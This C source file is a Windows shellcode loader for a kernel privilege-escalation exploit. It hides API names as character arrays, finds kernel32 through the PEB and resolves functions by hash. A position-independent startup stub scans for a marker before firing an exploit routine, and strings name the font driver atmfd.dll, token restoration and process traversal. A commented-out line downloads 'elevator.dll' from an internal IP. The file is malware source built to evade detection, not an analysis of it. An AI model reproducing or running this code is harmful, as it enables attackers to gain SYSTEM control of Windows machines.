#include "loader.h"
//#include "font.h"
#include<winnt.h>
LOADER_CONFIG pLoaderConfig = 
{
	0xdeadbeef,
	0x00000000,																										
//	{ 'h', 't', 't', 'p', ':', '/', '/', '1', '7', '2', '.', '2', '0', '.', '2', '0', '.', '1', '5', '5', '/', 'e', 'l', 'e', 'v', 'a', 't', 'o', 'r', '.', 'd', 'l', 'l', 0x0, 'A', 'A' },
	
	{ 'K', 'E', 'R', 'N', 'E', 'L', '3', '2', 0x0 },
	{ 'N', 'T', 'D', 'L', 'L', 0x0 },
//	{ 'W', 'I', 'N', 'I', 'N', 'E', 'T', 0x0 },
	{ 'S', 'H', 'E', 'L', 'L', '3', '2', 0x0 },
	{ 'G', 'D', 'I', '3', '2', 0x0 },
	{ 'W', 'S', '2', '_', '3', '2', 0x0 },
	{ 'W', 'S', 'O', 'C', 'K', '3', '2', 0x0 },
	{ 'm', 's', 'v', 'c', 'r', 't',  0x0 },
	   
	{ 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0 },
	{ 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 0x0 },

//	{ 'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'W', 0x0 },
//	{ 'W', 'r', 'i', 't', 'e', 'F', 'i', 'l', 'e', 0x0 },
	{ 'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e', 0x0 },
	{ 'G', 'e', 't', 'S', 'h', 'o', 'r', 't', 'P', 'a', 't', 'h', 'N', 'a', 'm', 'e', 'W', 0x0 },
	{ 'G', 'e', 't', 'T', 'e', 'm', 'p', 'P', 'a', 't', 'h', 'W', 0x0 },
	{ 'S', 'H', 'G', 'e', 't', 'K', 'n', 'o', 'w', 'n', 'F', 'o', 'l', 'd', 'e', 'r', 'P', 'a', 't', 'h', 0x0 },
	{ 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'W', 0x0 },
	{ 'F', 'r', 'e', 'e', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 0x0 },
//	{ 'D', 'e', 'l', 'e', 't', 'e', 'F', 'i', 'l', 'e', 'W', 0x0 },

//	{ 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'O', 'p', 'e', 'n', 'A', 0x0 },
//	{ 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'O', 'p', 'e', 'n', 'U', 'r', 'l', 'A', 0x0 },
//	{ 'H', 't', 't', 'p', 'Q', 'u', 'e', 'r', 'y', 'I', 'n', 'f', 'o', 'W', 0x0 },
//	{ 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'R', 'e', 'a', 'd', 'F', 'i', 'l', 'e', 'E', 'x', 'A', 0x0 }, 
	{ '_', 'w', 't', 'o', 'i', 0x0 },
	{ 'E', 'x', 'i', 't', 'P', 'r', 'o', 'c', 'e', 's', 's', 0x0 },
	{ 'E', 'x', 'i', 't', 'T', 'h', 'r', 'e', 'a', 'd', 0x0 },

	/* exploit */

	/* gdi32 */
	{ 'S', 'e', 't', 'B', 'i', 't', 'm', 'a', 'p', 'B', 'i', 't', 's', 0x0 },
	{ 'G', 'e', 't', 'B', 'i', 't', 'm', 'a', 'p', 'B', 'i', 't', 's', 0x0 },
	{ 'D', 'e', 'l', 'e', 't', 'e', 'O', 'b', 'j', 'e', 'c', 't', 0x0 },
	{ 'C', 'r', 'e', 'a', 't', 'e', 'B', 'i', 't', 'm', 'a', 'p', 0x0 },

	/* kernel32 */
	{ 'I', 's', 'W', 'o', 'w', '6', '4', 'P', 'r', 'o', 'c', 'e', 's', 's', 0x0 },
	{ 'G', 'e', 't', 'C', 'u', 'r', 'r', 'e', 'n', 't', 'P', 'r', 'o', 'c', 'e', 's', 's', 0x0 },
	{ 'G', 'e', 't', 'V', 'e', 'r', 's', 'i', 'o', 'n', 'E', 'x', 'A', 0x0 },
	{ 'G', 'e', 't', 'M', 'o', 'd', 'u', 'l', 'e', 'H', 'a', 'n', 'd', 'l', 'e', 'A', 0x0 },
	{ 'L', 'o', 'c', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0 },
	{ 'L', 'o', 'c', 'a', 'l', 'F', 'r', 'e', 'e',  0x0 },
	{ 'G', 'e', 't', 'W', 'i', 'n', 'd', 'o', 'w', 's', 'D', 'i', 'r', 'e', 'c', 't', 'o', 'r', 'y', 'A', 0x0 },
	{ 'D', 'u', 'p', 'l', 'i', 'c', 'a', 't', 'e', 'H', 'a', 'n', 'd', 'l', 'e',  0x0 },
	{ 'R', 'e', 'a', 'd', 'F', 'i', 'l', 'e', 0x0 },
	{ 'G', 'e', 't', 'F', 'i', 'l', 'e', 'S', 'i', 'z', 'e', 0x0 },
//	{ 'O', 'u', 't', 'p', 'u', 't', 'D', 'e', 'b', 'u', 'g', 'S', 't', 'r', 'i', 'n', 'g', 'A', 0x0 },
	{ 'W', 'a', 'i', 't', 'F', 'o', 'r', 'S', 'i', 'n', 'g', 'l', 'e', 'O', 'b', 'j', 'e', 'c', 't', 0x0},
	{ 'G', 'e', 't', 'P', 'r', 'o', 'c', 'e', 's', 's', 'H', 'e', 'a', 'p',  0x0 },
	{ 'H', 'e', 'a', 'p',  'A', 'l', 'l', 'o', 'c', 0x0 },
	{ 'H', 'e', 'a', 'p',  'F', 'r', 'e', 'e', 0x0 },
	{ 'V', 'e', 'r', 'S', 'e', 't', 'C', 'o', 'n', 'd', 'i', 't', 'i', 'o', 'n', 'M', 'a', 's', 'k', 0x0 },
	{ 'V', 'e', 'r', 'i', 'f', 'y', 'V', 'e', 'r', 's', 'i', 'o', 'n', 'I', 'n', 'f', 'o', 'A', 0x0 },
	{ 'G', 'e', 't', 'C', 'u', 'r', 'r', 'e', 'n', 't', 'P', 'r', 'o', 'c', 'e', 's', 's', 'I', 'd', 0x0},
	{ 'S', 'l', 'e', 'e', 'p', 0x0},

	/* ws2_32 */
	{ 'h' , 't', 'o' ,'n','l', 0x0 },
	{ 'h' , 't', 'o' ,'n','s', 0x0 },
	{ 'A', 'd', 'd', 'F', 'o', 'n', 't', 'M', 'e', 'm', 'R', 'e', 's', 'o', 'u', 'r', 'c', 'e', 'E', 'x', 0x0},
	
//	{ 'C', ':', '\\', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', '\\', 'S', 'y', 's', 'n', 'a', 't', 'i', 'v', 'e', '\\', '\\', 'n', 't', 'o', 's', 'k', 'r', 'n', 'l', '.', 'e', 'x', 'e', 0x0 },
	{ 'P', 's', 'G', 'e', 't', 'C', 'u', 'r', 'r', 'e', 'n', 't', 'P', 'r', 'o', 'c', 'e', 's', 's', 0x0 },

//	{ '_', 's', 'n', 'p', 'r', 'i', 'n', 't', 'f', 0x0 },
	{ 'm', 'a', 'l', 'l', 'o', 'c', 0x0},
	{ 'f', 'r', 'e', 'e', 0x0 },
//	{ 'f', 'o', 'p', 'e', 'n', 0x0 },
//	{ 'f', 'c', 'l', 'o', 's', 'e', 0x0 },
//	{ 'f', 't', 'e', 'l', 'l', 0x0 },
//	{ 'f', 's', 'e', 'e', 'k', 0x0 },
//	{ 'f', 'r', 'e', 'a', 'd', 0x0 },
	
//	{ '_', 'l', 'i', 'f', 't', 0x0 },
//	{ 'M', 'o', 'z', 'i', 'l', 'l', 'a', '/', '4', '.', '0', ' ', '(', 'c', 'o', 'm', 'p', 'a', 't', 'i', 'b', 'l', 'e', ';', ' ', 'M', 'S', 'I', 'E', ' ', '7', '.', '0', ';', ' ', 'W', 'i', 'n', 'd', 'o', 'w', 's', ' ', 'N', 'T', ' ', '6', '.', '1', ';', ' ', 'W', 'O', 'W', '6', '4', ';', ' ', 'T', 'r', 'i', 'd', 'e', 'n', 't', '/', '5', '.', '0', ';', ' ', 'S', 'L', 'C', 'C', '2', ';', ' ', '.', 'N', 'E', 'T', ' ', 'C', 'L', 'R', ' ', '2', '.', '0', '.', '5', '0', '7', '2', '7', ';', ' ', '.', 'N', 'E', 'T', ' ', 'C', 'L', 'R', ' ', '3', '.', '5', '.', '3', '0', '7', '2', '9', ';', ' ', '.', 'N', 'E', 'T', ' ', 'C', 'L', 'R', ' ', '3', '.', '0', '.', '3', '0', '7', '2', '9', ';', ' ', 'M', 'e', 'd', 'i', 'a', ' ', 'C', 'e', 'n', 't', 'e', 'r', ' ', 'P', 'C', ' ', '6', '.', '0', ';', ' ', '.', 'N', 'E', 'T', '4', '.', '0', 'C', ';', ' ', '.', 'N', 'E', 'T', '4', '.', '0', 'E', ';', ' ', 'M', 'D', 'D', 'R', 'J', 'S', ')', 0x0 },

	/* exploit strings */
//	{ '[', '*', ']', ' ', 'L', 'o', 'a', 'd', 'e', 'r', 'C', 'o', 'n', 'f', 'i', 'g', ' ', '%', 'p', '\n', 0x0},
//	{ '[', '*', ']', ' ', 'E', 'x', 'p', 'l', 'o', 'i', 't', ' ', 'l', 'o', 'c', 'a', 'l', 's', ' ', 's', 'i', 'z', 'e', ':', ' ', '%', 'p', '\n', 0x0},
//	{ '[', '*', ']', ' ', 'F', 'i', 'r', 'i', 'n', 'g', ' ', 'e', 'x', 'p', 'l', 'o', 'i', 't', '\n', 0x0},
//	{ '[', '*', ']', ' ', 'N', 'o', ' ', 'm', 'o', 'r', 'e', ' ', 'e', 'x', 'p', 'l', 'o', 'i', 't', '\n', 0x0},
//	{ '[', '*', ']', ' ', 'V', 't', 'a', 'b', 'l', 'e', ' ', 'l', 'o', 'a', 'd', 'e', 'd', '\n', 0x0},
//	{ '[', '*', ']', ' ', 'e', 'x', 'p', 'l', 'o', 'i', 't', '\n', 0x0},
//	{ '[', '*', ']', ' ', 'k', 'b', 'a', 's', 'e', ' ', '%', 'p', '\n'},
	{ 'R', 't', 'l', 'G', 'e', 't', 'C', 'u', 'r', 'r', 'e', 'n', 't', 'P', 'e', 'b',  0x0 },
	{ 'N', 'a', 'm', 'e', 'd', 'E', 's', 'c', 'a', 'p', 'e', 0x0 },
//	{ '[', '*', ']', ' ', 'g', 'd', 'i', 't', 'a', 'b', 'l', 'e', ' ', '0', 'x', '%', 'p', '\n', 0x0 },
	{ 'a', 't', 'm', 'f', 'd', '.', 'd', 'l', 'l', 0x0 },
//	{ '[', 'E', ']', ' ', 't', 'e', 's', 't', 'b', 'i', 't', 'm', 'a', 'p', ' ', 'f', 'a', 'i', 'l', '\n', 0x0},
	{ '\x64', '\x00', '\x88', '\xff', '\x84', '\x03', '\x70', '\x03', 0x0 },
//	{ '[', '*', ']', ' ', 'f', 'o', 'n', 't', ' ', 'f', 'o', 'u', 'n', 'd', '\n', 0x0},
//	{ '[', '*', ']', ' ', 't', 'r', 'a', 'v', 'e', 'r', 's', 'i', 'n', 'g', ' ', 'p', 'r', 'o', 'c', 'e', 's', 's', 'e', 's', '\n', 0x0},
//	{ 'c', 'm', 'd',  0x0 },
//	{ '[', '*', ']', ' ', 't', 'o', 'k', 'e', 'n', ' ', 'r', 'e', 's', 't', 'o', 'r', 'e', '\n', 0x0 },
//	{ '[', '*', ']', ' ', 'b', 'a', 'i', 'l', '\n', 0x0 },
	{ 'C', 'r', 'e', 'a', 't', 'e', 'P', 'r', 'o', 'c', 'e', 's', 's', 'I', 'n', 't', 'e', 'r', 'n', 'a', 'l', 'A', 0x0 },
	{ 'W', 'i', 'n', 'S', 't', 'a', '0', '\\', 'D', 'e', 'f', 'a', 'u', 'l', 't', 0x0},
	{ 'N', 't', 'Q', 'u', 'e', 'r', 'y', 'S', 'y', 's', 't', 'e', 'm', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n', 0x0},
	{ '\\', 'S', 'y', 's', 't', 'e', 'm', 'R', 'o', 'o', 't', '\\', 's', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'C', 'I', '.', 'd', 'l', 'l', 0x0 },
	{ '\\', 's', 'y', 's', 'n', 'a', 't', 'i', 'v', 'e', 0x0},
	{ '\\', 's', 'y', 's', 'n', 'a', 't', 'i', 'v', 'e', '\\', 'C', 'I', '.', 'd', 'l', 'l', 0x0},
	'\\',
	0xf001f001,

			
};

void Loader(PLOADER_CONFIG lpLoaderConfig)
{
	VTABLE pVtable;
	pVtable.lpLoaderConfig = lpLoaderConfig;
//	memcpy(pVtable.lpLoaderConfig->foofont,foofont,755256);
		
	if (!LoadVTable(&pVtable))
		return;

	void *hProcessHeap = pVtable.fpGetProcessHeap();
	PEXPLOIT_LOCALS pLocals = (PEXPLOIT_LOCALS) pVtable.fpHeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, sizeof(EXPLOIT_LOCALS));
	pVtable.locals = pLocals;

//	char buf[256];

//	pVtable.fpSnprintf(buf, 256, lpLoaderConfig->strLpLoaderConfig, lpLoaderConfig);
//	pVtable.fpOutputDebugStringA(buf);

//	pVtable.fpSnprintf(buf, 256, lpLoaderConfig->strLocalsSize, sizeof(EXPLOIT_LOCALS));
//	pVtable.fpOutputDebugStringA(buf);
		

//	pVtable.fpOutputDebugStringA(lpLoaderConfig->strFiringExploit);
	exploit(&pVtable);
//	pVtable.fpOutputDebugStringA(lpLoaderConfig->strNoMoreExploit);
}

BOOL LoadVTable(PVTABLE lpTable)
{
	HMODULE hKernel32;

	if (!GetPointers(&lpTable->GetProcAddress, &lpTable->LoadLibraryA, (PHANDLE)&hKernel32))
		return FALSE;

	lpTable->VirtualAlloc = (VIRTUALALLOC) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strVirtualAlloc);
	lpTable->VirtualProtect = (VIRTUALPROTECT) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strVirtualProtect);
	lpTable->GetTempPathW = (GETTEMPPATHW) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strGetTempPathW);
	lpTable->GetShortPathNameW = (GETSHORTPATHNAMEW) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strGetShortPathNameW);
	lpTable->LoadLibraryW = (LOADLIBRARYW) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strLoadLibraryW);
	lpTable->FreeLibrary = (FREELIBRARY) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strFreeLibrary);
//	lpTable->DeleteFileW = (DELETEFILEW) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strDeleteFileW);
//	lpTable->CreateFileW = (CREATEFILEW) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strCreateFileW);
//	lpTable->WriteFile = (WRITEFILE) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strWriteFile);
	lpTable->CloseHandle = (CLOSEHANDLE) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strCloseHandle);
	lpTable->ExitProcess = (EXITPROCESS) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strExitProcess);	
	lpTable->ExitThread = (EXITTHREAD) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strExitThread);	

//	HMODULE hWinInet = lpTable->LoadLibraryA(lpTable->lpLoaderConfig->strWinInet);
//	lpTable->InternetOpenA = (INTERNETOPENA) lpTable->GetProcAddress(hWinInet, lpTable->lpLoaderConfig->strInternetOpenA);
//	lpTable->InternetOpenUrlA = (INTERNETOPENURLA) lpTable->GetProcAddress(hWinInet, lpTable->lpLoaderConfig->strInternetOpenUrlA);
//	lpTable->InternetReadFileExA = (INTERNETREADFILEEXA) lpTable->GetProcAddress(hWinInet, lpTable->lpLoaderConfig->strInternetReadFileExA);
//	lpTable->HttpQueryInfoW = (HTTPQUERYINFOW) lpTable->GetProcAddress(hWinInet, lpTable->lpLoaderConfig->strHttpQueryInfoW);

	HMODULE hNtDll = lpTable->LoadLibraryA(lpTable->lpLoaderConfig->strNtDll);
	lpTable->wtoi = (WTOI) lpTable->GetProcAddress(hNtDll, lpTable->lpLoaderConfig->strWtoi);

	HMODULE hShell32 = lpTable->LoadLibraryA(lpTable->lpLoaderConfig->strShell32);
	lpTable->SHGetKnownFolderPath = (SHGETKNOWNFOLDERPATH) lpTable->GetProcAddress(hShell32, lpTable->lpLoaderConfig->strSHGetKnownFolderPath);

	/* exploit */

	HMODULE hGdi32 = lpTable->LoadLibraryA(lpTable->lpLoaderConfig->strGdi32);
	lpTable->fpSetBitmapBits = (SETBITMAPBITS) lpTable->GetProcAddress(hGdi32, lpTable->lpLoaderConfig->strSetBitmapBits);
	lpTable->fpGetBitmapBits = (GETBITMAPBITS) lpTable->GetProcAddress(hGdi32, lpTable->lpLoaderConfig->strGetBitmapBits);
	lpTable->fpDeleteObject  = (DELETEOBJECT) lpTable->GetProcAddress(hGdi32, lpTable->lpLoaderConfig->strDeleteObject);
	lpTable->fpCreateBitmap = (CREATEBITMAP) lpTable->GetProcAddress(hGdi32, lpTable->lpLoaderConfig->strCreateBitmap);
	lpTable->fpAddFontMemResourceEx = (ADDFONTMEMRESOURCEEX) lpTable->GetProcAddress(hGdi32, lpTable->lpLoaderConfig->strAddFontResourceEx);


	lpTable->fpIsWow64Process = (ISWOW64PROCESS) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strIsWow64Process);
	lpTable->fpGetCurrentProcess = (GETCURRENTPROCESS) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strGetCurrentProcess);
	lpTable->fpGetVersionExA = (GETVERSIONEXA) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strGetVersionExA);
	lpTable->fpGetModuleHandleA = (GETMODULEHANDLE) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strGetModuleHandle);
	lpTable->fpLocalAlloc = (LOCALALLOC) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strLocalAlloc);
	lpTable->fpLocalFree = (LOCALFREE) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strLocalFree);
	lpTable->fpGetWindowsDirectoryA = (GETWINDOWSDIRECTORY) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strGetWindowsDirectory);
	lpTable->fpDuplicateHandle = (DUPLICATEHANDLE) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strDuplicateHandle);
	lpTable->fpReadFile = (READFILE) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strReadFile);
	lpTable->fpGetFileSize = (GETFILESIZE) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strGetFileSize);
//	lpTable->fpOutputDebugStringA = (OUTPUTDEBUGSTRINGA) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strOutputDebugStringA);
	lpTable->fpWaitForSingleObject = (WAITFORSINGLEOBJECT) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strWaitForSingleObject);
	lpTable->fpGetProcessHeap = (GETPROCESSHEAP) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strGetProcessHeap);
	lpTable->fpHeapAlloc = (HEAPALLOC) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strHeapAlloc);
	lpTable->fpHeapFree = (HEAPFREE) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strHeapFree);
	lpTable->fpVerSetConditionMask = (VERSETCONDITIONMASK) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strVerSetConditionMask);
	lpTable->fpVerifyVersionInfoA = (VERIFYVERSIONINFOA) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strVerifyVersionInfoA);
	lpTable->fpGetCurrentProcessId = (GETCURRENTPROCESSID) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strGetCurrentProcessId);
	lpTable->fpSleep = (SLEEP) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strSleep);

	HMODULE hWs2_32 = lpTable->LoadLibraryA(lpTable->lpLoaderConfig->strWs2_32);
	lpTable->fpHtonl = (HTONL) lpTable->GetProcAddress(hWs2_32, lpTable->lpLoaderConfig->strHtonl);
	lpTable->fpHtons = (HTONS) lpTable->GetProcAddress(hWs2_32, lpTable->lpLoaderConfig->strHtons);

	
// 	_asm("nop");
// 	_asm("nop");
// 	_asm("nop");
// 	_asm("nop");

	HMODULE hMsvcrt = lpTable->fpGetModuleHandleA(lpTable->lpLoaderConfig->strMsvcr);

	if( hMsvcrt == NULL )
		hMsvcrt = lpTable->LoadLibraryA(lpTable->lpLoaderConfig->strMsvcr);
		
//	lpTable->fpSnprintf = (SNPRINTF) lpTable->GetProcAddress(hMsvcrt, lpTable->lpLoaderConfig->strSnprintf);
	lpTable->fpMalloc = (MALLOC) lpTable->GetProcAddress(hMsvcrt, lpTable->lpLoaderConfig->strMalloc);
	lpTable->fpFree = (FREE) lpTable->GetProcAddress(hMsvcrt, lpTable->lpLoaderConfig->strFree);
//	lpTable->fpFopen = (FOPEN) lpTable->GetProcAddress(hMsvcrt, lpTable->lpLoaderConfig->strFopen);
//	lpTable->fpFclose = (FCLOSE) lpTable->GetProcAddress(hMsvcrt, lpTable->lpLoaderConfig->strFclose);
//	lpTable->fpFread = (FREAD) lpTable->GetProcAddress(hMsvcrt, lpTable->lpLoaderConfig->strFread);
//	lpTable->fpFseek = (FSEEK) lpTable->GetProcAddress(hMsvcrt, lpTable->lpLoaderConfig->strFseek);
//	lpTable->fpFtell = (FTELL) lpTable->GetProcAddress(hMsvcrt, lpTable->lpLoaderConfig->strFtell);

	/*char buf[256];
	FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), buf, 256, NULL);
	lpTable->fpOutputDebugStringA(buf);*/

	if (!lpTable->VirtualAlloc ||
		!lpTable->VirtualProtect || 
		!lpTable->GetTempPathW || 
		!lpTable->GetShortPathNameW ||
		!lpTable->LoadLibraryW ||
		!lpTable->FreeLibrary || 
//		!lpTable->CreateFileW || 
//		!lpTable->WriteFile || 
		!lpTable->CloseHandle || 
		!lpTable->ExitProcess || 
//		!lpTable->InternetOpenA || 
//		!lpTable->InternetOpenUrlA || 
//		!lpTable->InternetReadFileExA || 
//		!lpTable->HttpQueryInfoW || 
		!lpTable->wtoi ||
		!lpTable->ExitThread ||
		!lpTable->fpSetBitmapBits ||
		!lpTable->fpGetBitmapBits ||
		!lpTable->fpIsWow64Process ||
		!lpTable->fpGetCurrentProcess ||
		!lpTable->fpGetVersionExA ||
		!lpTable->fpHtonl ||
		!lpTable->fpHtons ||
		!lpTable->fpDeleteObject ||
		!lpTable->fpCreateBitmap ||
		!lpTable->fpGetModuleHandleA ||
		!lpTable->fpLocalAlloc ||
		!lpTable->fpLocalFree  ||
		!lpTable->fpGetWindowsDirectoryA ||
		!lpTable->fpDuplicateHandle ||
		!lpTable->fpReadFile  ||
//		!lpTable->fpOutputDebugStringA ||
		!lpTable->fpAddFontMemResourceEx ||
		!lpTable->fpWaitForSingleObject ||
		!lpTable->fpGetProcessHeap ||
		!lpTable->fpHeapFree ||
		!lpTable->fpHeapAlloc ||
		!lpTable->fpVerSetConditionMask ||
//		!lpTable->fpSnprintf ||
		!lpTable->fpGetCurrentProcessId ||
		!lpTable->fpSleep ||
		!lpTable->fpMalloc ||
		!lpTable->fpFree //||
//		!lpTable->fpFopen ||
//		!lpTable->fpFclose ||
//		!lpTable->fpFtell ||
//		!lpTable->fpFread ||
//		!lpTable->fpFseek
	) return FALSE;

	//	lpTable->fpOutputDebugStringA(lpTable->lpLoaderConfig->strVtableLoaded);

	return TRUE;
}

BOOL GetPointers(PGETPROCADDRESS fpGetProcAddress, PLOADLIBRARYA fpLoadLibraryA, PHANDLE pKernel32)
{
	*pKernel32 = GetKernel32Handle();
	if (*pKernel32 == INVALID_HANDLE_VALUE)
		return FALSE;

	unsigned char *lpBaseAddr = (LPBYTE) *pKernel32;
	PIMAGE_DOS_HEADER lpDosHdr = (PIMAGE_DOS_HEADER) lpBaseAddr;
	PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS) (lpBaseAddr + lpDosHdr->e_lfanew);
	PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY) (lpBaseAddr +  pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

	LPDWORD pNameArray = (LPDWORD) ((unsigned long)lpBaseAddr + (unsigned long) pExportDir->AddressOfNames);
	LPDWORD pAddrArray = (LPDWORD) ((unsigned long)lpBaseAddr + (unsigned long)pExportDir->AddressOfFunctions);
	LPWORD pOrdArray  = (LPWORD) ((unsigned long)lpBaseAddr + (unsigned long)pExportDir->AddressOfNameOrdinals);

	*fpGetProcAddress = NULL;
	*fpLoadLibraryA = NULL;

	for (UINT i=0; i<pExportDir->NumberOfNames; i++)
	{
		LPSTR pFuncName = (LPSTR) (lpBaseAddr + pNameArray[i]);
	
		if (GetStringHash(pFuncName, FALSE, 14) == 0x7c0dfcaa) 
			*fpGetProcAddress = (GETPROCADDRESS) (lpBaseAddr + pAddrArray[pOrdArray[i]]);
		else if (GetStringHash(pFuncName, FALSE, 12) == 0xec0e4e8e)
			*fpLoadLibraryA = (LOADLIBRARYA) (lpBaseAddr + pAddrArray[pOrdArray[i]]);
	
		if (*fpGetProcAddress && *fpLoadLibraryA)
			return TRUE;
	}

	return FALSE;
}

int __declspec(naked) __stdcall getpeb32(void) {
// 	_asm("mov %fs:(0x30), %eax");
// 	_asm("ret");
	__asm{
		mov eax, fs:[0x30];
		ret;
	}
}

HANDLE GetKernel32Handle(void)
{
	HANDLE hKernel32 = INVALID_HANDLE_VALUE;
/*#ifdef _WIN64
	PPEB lpPeb = (PPEB) __readgsqword(0x60);
#else*/
	PPEB lpPeb = (PPEB) getpeb32(); //= (PPEB) __readfsdword(0x30);
	
	
	PLIST_ENTRY pListHead = &lpPeb->Ldr->InMemoryOrderModuleList;
	PLIST_ENTRY pListEntry = pListHead->Flink;	

	while (pListEntry != pListHead)
	{
		PLDR_DATA_TABLE_ENTRY pModEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
 		if (pModEntry->FullDllName.Length)
		{
			DWORD dwLen	= pModEntry->FullDllName.Length;
			PWCHAR strName = (pModEntry->FullDllName.Buffer + (dwLen/sizeof(WCHAR))) - 13;

			if (GetStringHash(strName, TRUE, 13) == 0x8fecdbff || GetStringHash(strName, TRUE, 13) == 0x6e2bcfd7)
			{
				hKernel32 = pModEntry->DllBase;
				break;
			}
		}
		pListEntry = pListEntry->Flink;
	}

	return hKernel32;
}

DWORD GetStringHash(LPVOID lpBuffer, BOOL bUnicode, UINT uLen)
{
	DWORD dwHash = 0;
	LPSTR strBuffer = (LPSTR) lpBuffer;

	while (uLen--)
    {
		dwHash = (dwHash >> 13) | (dwHash << 19);
		dwHash +=  (DWORD)*strBuffer++;

		if (bUnicode)
				strBuffer++;			
    }
    return dwHash;
}




__declspec(naked) void Startup(void)
{
	
	__asm
	{
		nop
		call next					// start of shellcode gadget (don't touch)
next:					
		pop eax	
	//	and eax, 0xfffff000			// end of shellcode gadget (don't touch)

		call next2
next2:
		pop esi
		add esi,30
		nop
		and esi, 0xfffffff0


next3:
		mov ebx, 0xdeadbeef
		cmp ebx, [esi]
		je start_loader

		inc esi
		jmp next3

start_loader:
		push esi
		call Loader
		pop eax
	//	ret
	}

// 	_asm("nop");
// 	_asm("call next");
// 
// _asm("next:");
// 	_asm("popl %eax");
// 	//_asm("addl $0x100, %eax");    // %eax is min addres, skip this 0xdeadbeef
// 	_asm("call next2");
// 
// _asm("next2:");
// 	_asm("popl %esi");              // %esi is max address
// 	_asm("addl $0x30, %esi"); 
// 	_asm("nop");
// 	_asm("andl $0xfffffff0, %esi");
// 	
// _asm("next3:");
// 	_asm("movl $0xdeadbeef, %ebx");
// 	_asm("cmpl (%esi), %ebx");
// 	_asm("je start_loader");
// 	//_asm("decl %esi"); 
// 	_asm("incl %esi");
// 	_asm("jmp next3");
// 
// 
// _asm("start_loader:");
//     _asm("push %esi");
// 	_asm("call %Loader");
// 	_asm("pop %eax");
// 	//_asm("int $0x3");
}


int main()
{
	Startup();
}
